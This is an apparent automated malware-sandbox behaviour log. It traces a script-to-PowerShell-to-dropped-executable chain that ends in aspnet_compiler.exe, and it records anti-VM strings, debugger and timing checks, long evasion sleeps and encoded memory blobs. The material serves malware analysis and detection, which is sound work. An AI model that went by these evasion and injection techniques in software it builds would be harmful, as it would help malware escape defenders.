Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: FA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 1190000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 51E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 61E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 6310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Memory allocated: 7310000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 5_2_010FD1C0 rdtsc

5_2_010FD1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3013			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2899			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

API coverage: 0.8 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1456	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4520	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe TID: 3608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe TID: 280	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: powershell.exe, 00000001.00000002.1778974115.000001EFD92CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000000.00000003.1787171415.00000163D6950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: wscript.exe, 00000000.00000003.1787171415.00000163D6950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: wscript.exe, 00000000.00000002.1789349275.00000163D6361000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\m
Source: wscript.exe, 00000000.00000002.1789293370.00000163D62F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1785872374.00000163D433B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1786628791.00000163D4340000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1789037038.00000163D4340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWg
Source: wscript.exe, 00000000.00000003.1787093158.00000163D6A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: powershell.exe, 00000001.00000002.1778974115.000001EFD92F6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42efc
Source: wscript.exe, 00000000.00000003.1785872374.00000163D433B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1786628791.00000163D4340000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1789037038.00000163D4340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1787171415.00000163D6950000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 5_2_010FD1C0 rdtsc

5_2_010FD1C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe

Code function: 5_2_00417AD3 LdrLoadDll,

5_2_00417AD3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01140115 mov eax, dword ptr fs:[00000030h]	5_2_01140115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112A118 mov ecx, dword ptr fs:[00000030h]	5_2_0112A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112A118 mov eax, dword ptr fs:[00000030h]	5_2_0112A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112A118 mov eax, dword ptr fs:[00000030h]	5_2_0112A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112A118 mov eax, dword ptr fs:[00000030h]	5_2_0112A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B0124 mov eax, dword ptr fs:[00000030h]	5_2_010B0124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B136 mov eax, dword ptr fs:[00000030h]	5_2_0107B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B136 mov eax, dword ptr fs:[00000030h]	5_2_0107B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B136 mov eax, dword ptr fs:[00000030h]	5_2_0107B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107B136 mov eax, dword ptr fs:[00000030h]	5_2_0107B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081131 mov eax, dword ptr fs:[00000030h]	5_2_01081131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081131 mov eax, dword ptr fs:[00000030h]	5_2_01081131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01155152 mov eax, dword ptr fs:[00000030h]	5_2_01155152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079148 mov eax, dword ptr fs:[00000030h]	5_2_01079148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079148 mov eax, dword ptr fs:[00000030h]	5_2_01079148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079148 mov eax, dword ptr fs:[00000030h]	5_2_01079148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01079148 mov eax, dword ptr fs:[00000030h]	5_2_01079148
